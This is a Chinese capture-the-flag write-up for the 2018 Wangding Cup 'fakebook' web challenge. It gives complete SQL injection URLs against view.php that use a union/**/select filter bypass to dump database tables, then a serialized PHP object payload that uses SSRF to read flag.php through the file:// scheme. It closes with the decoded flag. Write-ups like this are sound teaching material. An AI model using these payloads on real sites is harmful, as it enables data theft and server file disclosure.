其他分享
首页 > 其他分享> > fakebook--2018网鼎杯--攻防世界wp

fakebook--2018网鼎杯--攻防世界wp

作者:互联网

fakebook–2018网鼎杯

刚打开的样子
在这里插入图片描述
登录不行,先注册。
同时用burp suite 抓包
发现异常包robot.txt
在这里插入图片描述

查看后发现存在泄漏在这里插入图片描述

进入下载文件并查看
在这里插入图片描述
注册后登录,发现将no=不存在的值会报错在这里插入图片描述
在这里插入图片描述
结合user.php.bak发现存在get注入并且可以找到资源的物理路径

用 order by查询字段 当字段为4 返回值正常
查询数据库名

http://220.249.52.134:51172/view.php?no=-6%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()#
在这里插入图片描述

用union select查询表名,union select 被过滤在这里插入图片描述
尝试绕过,绕过成功
查询列名

http://220.249.52.134:51172 /view.php?no=-6 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#
在这里插入图片描述

查询字段名

http://220.249.52.134:51172/view.php?no=-6 union/**/select 1,data,3,4 from users#
返回值为序列化的
返回值为序列化的
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,直接人为构造联合查询返回语句,data字段在第四个位置。

利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件。

http://220.249.52.134:51172/view.php?no=0//union//select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’

查看源码,发现base64编码内容
在这里插入图片描述

D9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==
解码
flag{c1e552fdf77049fabf65168f22f7aeab}

在这里插入图片描述

标签:51172,no,--,220.249,union,2018,wp,php,select
来源: https://blog.csdn.net/qq_20533167/article/details/113391655